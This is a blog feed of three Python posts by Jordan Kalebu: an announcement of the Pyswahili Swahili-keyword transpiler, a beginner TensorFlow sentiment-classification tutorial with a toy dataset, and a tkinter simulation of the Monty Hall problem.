Jordan Kalebu — Wed, 27 Jan 2021 07:46:59 +0000

A month ago I started an open-source project titled Pyswahili, which acts as a middleware to help non-English speakers get started with Python Programming using Swahili based keywords.

With just a twist of the dictionary file, you could make the python understand your custom language keywords.

The Project is available on GitHub as open-source under MIT Public License

Here is the link

Kalebu / pyswahili

A Swahili version of programming language to allow Swahili speakers get started with programming

pyswahili

Pyswahili is a light weight python library that helps you write your python code in Swahili.

Transipiler

Transpiler(Pyswahili) translates swahili version of python to english version so that it can be intepreted by the python Intepreter.

Pyswahili File extension ?

There is no official extension for pyswahili, so for now .py is fine.

What can you do with pyswahili ?

Similar to Python, Pyswahili supports both modes; the Read-evaluate-print(Repl) loop and Script mode.

View on GitHub

I also write article on my personal blog

Beginners guide to TensorFlow text classification using Python

Jordan Kalebu — Thu, 26 Nov 2020 04:25:15 +0000

Hi guys,

In this article, you will learn how to train your own text classification Model from scratch using Tensorflow in just a couple of lines of code.

a brief about text classification

Text classification is a subpart of natural language processing that focuses on grouping a paragraph into predefined groups based on its content, for instance classifying categories of news whether its sports, business, music and etc

what will you learn?

One hot encoding
Word Embedding
Neural network with an embedding layer
Evaluating and Testing trained Model

The above mention concepts are fundamental things that you supposed to understand when it comes to natural language processing with TensorFlow and you can apply them to multiple NLP-based projects, so I recommend you read this to an end to really grasp it.

Building Sentiment analyzer as we learn

We are going to build a simple TensorFlow model that will be classifying user's reviews as either positive or negative as a result of effectively generalizing the training data.

ML Libraries we need

Apart from the Tensorflow itself, we also need other python library and tools to develop our model, and this article assumes you have them installed on your machine

Quick installation

If you don't have those libraries installed, here a quick installation guide with pip;

pip install numpy
pip install tensorflow
pip install matplotlib

Now once everything is installed, now we are ready to get our hands dirty and began building our Model.

Getting started

First of all, we need to import all the necessary library we just installed in our codebase;

import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt

Dataset

Dataset can come in various file formats (csv, json, sql) but in this article, we gonna use just a 1D array of sample customer review messages just as shown below;

data_x = [
 'good',  'well done', 'nice', 'Excellent',
 'Bad', 'OOps I hate it deadly', 'embrassing', 
'A piece of shit']

Samwise we can have our label as a 1D numpy array of 0, and 1 whereby 1 stand for positive review and 0 stands for negative review arranged corresponding to the training data (data_x) just as shown below;


data_x = [
 'good',  'well done', 'nice', 'Excellent',
 'Bad', 'OOps I hate it deadly', 'embrassing', 
'A piece of shit']

label_x = np.array([1,1,1,1, 0,0,0,0])

Data Engineering - One Hot encoding

The machine only understands numbers and that's doesn't change when it comes to training textual data, therefore to be able to train it, we need a way to have a numerical representation of our text dataset that's where on-hot encoding comes into play.

Tensorflow provides an inbuilt method to help you so that you can learn more about it by visiting one hot encoding docs, and here is how you put that into code;

data_x = [
 'good',  'well done', 'nice', 'Excellent',
 'Bad', 'OOps I hate it deadly', 'embrassing', 
'A piece of shit']

label_x = np.array([1,1,1,1, 0,0,0,0])

one_hot_x = [tf.keras.preprocessing.text.one_hot(d, 50) for d in data_x]

print(one_hot_x)

Here an output;

[[21], [9, 34], [24], [20], [28], [41, 26, 9, 17, 26], [36], [9, 41]]

With just one line of code of list comprehension, we were able to have a numerical representation of our text datasets.

Data Engineering - Padding

If you look carefully you will notice it resulted in arrays of different sizes this is due to varying lengths of individual training data.

That's not good, we need to ensure our training data items have an equal length to be able to train it that's why need to do padding to normalize it to a certain standard length.

what padding will do is extend arrays with length lower than standard length to equal it by appending 0s and removes extra element to those with exceeding length;

Now with the nature of our dataset, lets setting our standard length(max_len) to be four(4) for our training data, Here is how you put that into code,

maxlen is a parameter for the standard length, and let set it accordingly;


data_x = [
 'good',  'well done', 'nice', 'Excellent',
 'Bad', 'OOps I hate it deadly', 'embrassing', 
'A piece of shit']

label_x = np.array([1,1,1,1, 0,0,0,0])

# one hot encoding 

one_hot_x = [tf.keras.preprocessing.text.one_hot(d, 50) for d in data_x]

# padding 

padded_x = tf.keras.preprocessing.sequence.pad_sequences(one_hot_x, maxlen=4, padding = 'post')

print(padded_x)

Your output is going to look like this;

array([[21,  0,  0,  0], [ 9, 34,  0,  0], [24,  0,  0,  0], [20,  0,  0,  0],[28,  0,  0,  0], [26,  9, 17, 26], [36,  0,  0,  0],[ 9, 41,  0,  0]], dtype=int32)

As we can see now our training data is engineered now it is ready for training;

Building a Model

I'm assuming have TensorFlow basics and you are familiar with sequential models, everything is going to be as normal with an Exception of an Embedding Layer;

Why Embedding Layer?

The data we have engineered is just arrays of numbers and doesn't and it can be had to relate how one is similar to the other one by comparing numbers that's why we need to have an Embedding layer which helps to turn those number into something more meaningful by turning them into dense vectors of fixed size which we can compute its relations;

The embedding layer receives main three parameters

input_dim (summation of unique words in your corpus)
output_dim (size of corresponding dense vectors)
input_length (standard length of input data)

Here an Example;

sample_data = np.array([[1], [4]], dtype='int32')

emb_layer = tf.keras.layers.Embedding(50, 4, input_length=4)

print(emb_layer(sample_data))

Here how your output will look like;

f.Tensor(
[[[-0.04779602 -0.01631527  0.01087242  0.00247218]]
 [[-0.03402965  0.02020274  0.02596027 -0.00916996]]], shape=(2, 1, 4), dtype=float32)

Now instead of having a bunch of meaningless 0s, we can have a vector representation like this for our data and that's what the embedding layer does now let's put it into our project;


model = tf.keras.models.Sequential([
    tf.keras.layers.Embedding(50, 8, input_length=4),
    tf.keras.layers.Flatten(),
    tf.keras.layers.Dense(1, activation='sigmoid')
 ])

Above is the complete architecture of our text classification Model with the addition of Flatten() which just reduce higher-dimensional tensor vectors into 2D, and the last Dense layer which is the deciding node for our classification model which will have a final say whether a review is positive or negative

Now that we have initialized our model, we finalize configuring by specifying an optimizer algorithm to be used and category of loss to be calculated during and optimizations;

model.compile(optimizer='adam', loss='binary_crossentropy', 
metrics=['accuracy'])

model.summary()

Output

Model: "sequential"
_________________________________________________________________
Layer (type)                 Output Shape              Param #
=================================================================
embedding (Embedding)        (None, 4, 8)              400
_________________________________________________________________
flatten (Flatten)            (None, 32)                0
_________________________________________________________________
dense (Dense)                (None, 1)                 33
=================================================================
Total params: 433
Trainable params: 433
Non-trainable params: 0
_________________________________________________________________

Training model

Now after once we finish configuring our model we can begin training our model, Since our data is only short we don't usually need many epochs to train it but let's fit with 1000 epochs and visualizing the learning curve


import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt

data_x = [
 'good',  'well done', 'nice', 'Excellent',
 'Bad', 'OOps I hate it deadly', 'embrassing', 
'A piece of shit']

label_x = np.array([1,1,1,1, 0,0,0,0])

# one hot encoding 

one_hot_x = [tf.keras.preprocessing.text.one_hot(d, 50) for d in data_x]

# padding 

padded_x = tf.keras.preprocessing.sequence.pad_sequences(one_hot_x, maxlen=4, padding = 'post')

# Architecting our Model 

model = tf.keras.models.Sequential([
    tf.keras.layers.Embedding(50, 8, input_length=4),
    tf.keras.layers.Flatten(),
    tf.keras.layers.Dense(1, activation='sigmoid')
 ])

# specifying training params 

model.compile(optimizer='adam', loss='binary_crossentropy', 
metrics=['accuracy'])

history = model.fit(padded_x, label_x, epochs=1000, 
batch_size=2, verbose=0)

# plotting training graph

plt.plot(history.history['loss'])

The output of the training graph is going to look as shown below;

This looks pretty good revealing that our training was able to minimize the loss effectively, and our model is ready for testing.

Evaluating of model

Let's create a Simple function to predict new words using the model have just created, it won't be that smart since our data was really short.


def predict(word):
    one_hot_word = [tf.keras.preprocessing.text.one_hot(word, 50)]
    pad_word = tf.keras.preprocessing.sequence.pad_sequences(one_hot_word, maxlen=4,  padding='post')
    result = model.predict(pad_word)
    if result[0][0]>0.1:
        print('you look positive')
    else:
        print('damn you\'re negative')

Let's test calling predict method with different word parameters

>>> predict('this tutorial is cool')
you look positive
>>> predict('This tutorial is bad as me ')
damn you're negative

Our model was able to successfully classify the positive and negative reviews which shows it really learnt something.

The original article can be found on on my personal blog

I also recommend reading this

Learn how to Simulate the monty hall problem in Python

Jordan Kalebu — Sun, 22 Nov 2020 19:33:41 +0000

The original article can be found on kalebujordan.dev

Hello Pythonistas,

Today I will give you a brief guide to applying Python to Mathematics World, on this tutorial you're going to simulate the Monty Hall problem in Python.

You might be wondering what the hell is this Monty Hall Problem?

The Monty Hall problem is a brain teaser, in the form of a probability puzzle, loosely based on the American television game.

Suppose you're on a game show, and you're given the choice of three doors: Behind one door is a car; behind the others, goats.

You pick a door, say No. 1, and the host, who knows what's behind the doors, opens another door, say No. 3 has a goat.

He then says to you, "Do you want to pick door No. 2?" Is it to your advantage to switch your choice?.

Well, It's upon your choice and luck to switch or stay with Door No 1 or switch to number 2, Mathematically the person who switches has twice the chance of winning a Car.

The concept is based on probability concentration. Initially when you choose door No 1. There is a 1/3 probability that the car is in that door and 2/3 in the other two.

But when the host another door on those two remaining and tell there is a goat, then the probability that there is car concentrate to the door No 2.

So Mathematically Switching would be a better idea.

Now we have already learned the concepts, It's time to simulate our idea in Python.

We are going to use the Python random Library to generate random choices and open doors containing goat and a simple tkinter widget to display the overall count.

app.py

import random 
from tkinter import StringVar , Label, Tk, Entry

window = Tk()
window.geometry('400x100')
window.title('Monty hall simulation')
window.resizable(0, 0)

same_choice = StringVar()
switched_choice = StringVar()
same_choice.set(0)
switched_choice.set(0)
no_sample = Entry()
Label(text='Same choice').place(x=80,y=8)
Label(text ='Switched choice').place(x=80,y=40)
Label(textvariable = same_choice, font =(15)).pack()
Label(textvariable = switched_choice, font=(15)).pack()
no_sample.pack()


def simulate(event):
    same_choice_result  = 0
    switched_choice_result = 0
    samples = int(no_sample.get())
    doors = ['gold', 'goat', 'bed']
    for _ in range(samples):
        simulated_doors = doors.copy()
        random.shuffle(simulated_doors)
        first_choice = random.choice(simulated_doors)
        simulated_doors.remove(first_choice)
        opened_door = simulated_doors[0] if simulated_doors[0]!='gold' else simulated_doors[1]
        simulated_doors.remove(opened_door)
        switched_second_choice = simulated_doors[0]
        if first_choice == 'gold':
            same_choice_result+=1
            same_choice.set(same_choice_result)
        elif switched_second_choice == 'gold':
            switched_choice_result+=1
            switched_choice.set(switched_choice_result)
        else:
            print('That\'s will never happed')

no_sample.bind('<Return>', simulate)
window.mainloop()

Output

Enter the number of Simulation to be computed by the computer and then press Enter to run the Simulation

As you can see above Switched choice got as twice as chance compared to the one who stayed with the same choice.

Remember choice made in this Simulation is entirely random but still If you gonna try running the Simulation again, you probably gonna get resembling numbers perhaps not exact.

Hope you find this post interesting, don't forget to subscribe to get more tutorials and tips like this. To get the Full code check out on My Github

I also recommend you read these;

In case of any suggestion or comment, drop it in the comment box and I will reply to you immediately.